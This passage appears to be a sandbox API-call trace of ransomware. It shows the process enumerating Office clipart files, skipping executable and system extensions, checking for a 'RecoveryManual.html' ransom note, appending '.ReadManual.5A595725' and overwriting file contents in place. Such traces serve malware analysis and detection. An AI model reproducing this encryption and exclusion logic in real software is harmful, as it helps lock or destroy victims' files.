nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.687] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.688] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16ae) returned 0x2f0000 [0270.688] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.688] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39135650806) returned 1 [0270.688] CloseHandle (hObject=0x184) returned 1 [0270.688] SetSecurityInfo () returned 0x57 [0270.688] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.688] CloseHandle (hObject=0x194) returned 1 [0270.688] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1 [0270.688] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01356_.WMF" | out: lpString1="NA01356_.WMF") returned="NA01356_.WMF" [0270.688] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.688] StrStrIW (lpFirst="NA01356_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.688] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.688] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.689] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.689] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.689] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.689] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.689] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" [0270.689] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.ReadManual.5A595725" [0270.689] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.ReadManual.5A595725") returned 87 [0270.689] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39135752380) returned 1 [0270.689] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf")) returned 0x20 [0270.689] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.689] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18226) returned 1 [0270.689] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4732, lpName=0x0) returned 0x184 [0270.689] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.690] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.690] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.692] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.692] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4732) returned 0x2f0000 [0270.692] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.692] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39136103718) returned 1 [0270.692] CloseHandle (hObject=0x184) returned 1 [0270.692] SetSecurityInfo () returned 0x57 [0270.692] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.693] CloseHandle (hObject=0x194) returned 1 [0270.693] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1 [0270.693] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01357_.WMF" | out: lpString1="NA01357_.WMF") returned="NA01357_.WMF" [0270.693] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.693] StrStrIW (lpFirst="NA01357_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.693] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.693] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.693] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" [0270.693] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.ReadManual.5A595725" [0270.693] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.ReadManual.5A595725") returned 87 [0270.693] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39136205551) returned 1 [0270.693] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf")) returned 0x20 [0270.694] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.694] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27638) returned 1 [0270.694] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6bf6, lpName=0x0) returned 0x184 [0270.694] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.695] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.695] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.696] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.696] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6bf6) returned 0x2f0000 [0270.697] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.697] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39136591577) returned 1 [0270.697] CloseHandle (hObject=0x184) returned 1 [0270.697] SetSecurityInfo () returned 0x57 [0270.697] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.697] CloseHandle (hObject=0x194) returned 1 [0270.697] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1 [0270.698] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01358_.WMF" | out: lpString1="NA01358_.WMF") returned="NA01358_.WMF" [0270.698] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.698] StrStrIW (lpFirst="NA01358_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.698] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.698] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.698] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" [0270.698] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.ReadManual.5A595725" [0270.698] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.ReadManual.5A595725") returned 87 [0270.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39136692394) returned 1 [0270.698] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf")) returned 0x20 [0270.699] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.699] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3438) returned 1 [0270.700] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd6e, lpName=0x0) returned 0x184 [0270.700] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.700] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.700] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.702] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.702] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd6e) returned 0x2f0000 [0270.702] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.702] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39137119909) returned 1 [0270.702] CloseHandle (hObject=0x184) returned 1 [0270.703] SetSecurityInfo () returned 0x57 [0270.703] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.703] CloseHandle (hObject=0x194) returned 1 [0270.703] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1 [0270.703] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01361_.WMF" | out: lpString1="NA01361_.WMF") returned="NA01361_.WMF" [0270.703] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.703] StrStrIW (lpFirst="NA01361_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.703] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.703] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.703] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" [0270.703] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.ReadManual.5A595725" [0270.703] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.ReadManual.5A595725") returned 87 [0270.703] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39137218903) returned 1 [0270.703] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf")) returned 0x20 [0270.704] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.704] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7028) returned 1 [0270.704] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b74, lpName=0x0) returned 0x184 [0270.704] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.705] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.705] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.706] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.707] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b74) returned 0x2f0000 [0270.707] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39137565241) returned 1 [0270.707] CloseHandle (hObject=0x184) returned 1 [0270.707] SetSecurityInfo () returned 0x57 [0270.707] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.707] CloseHandle (hObject=0x194) returned 1 [0270.707] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1 [0270.707] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01368_.WMF" | out: lpString1="NA01368_.WMF") returned="NA01368_.WMF" [0270.707] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.707] StrStrIW (lpFirst="NA01368_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.707] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.707] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.707] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.707] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.707] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.707] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.708] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.708] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" [0270.708] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.ReadManual.5A595725" [0270.708] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.ReadManual.5A595725") returned 87 [0270.708] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39137664428) returned 1 [0270.708] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf")) returned 0x20 [0270.708] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.708] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=263186) returned 1 [0270.708] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40412, lpName=0x0) returned 0x184 [0270.709] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.709] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.709] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.711] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.711] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40412) returned 0x2690000 [0270.719] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0270.721] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39138937636) returned 1 [0270.721] CloseHandle (hObject=0x184) returned 1 [0270.721] SetSecurityInfo () returned 0x57 [0270.721] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.721] CloseHandle (hObject=0x194) returned 1 [0270.721] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0xa0000003, dwReserved1=0x0, 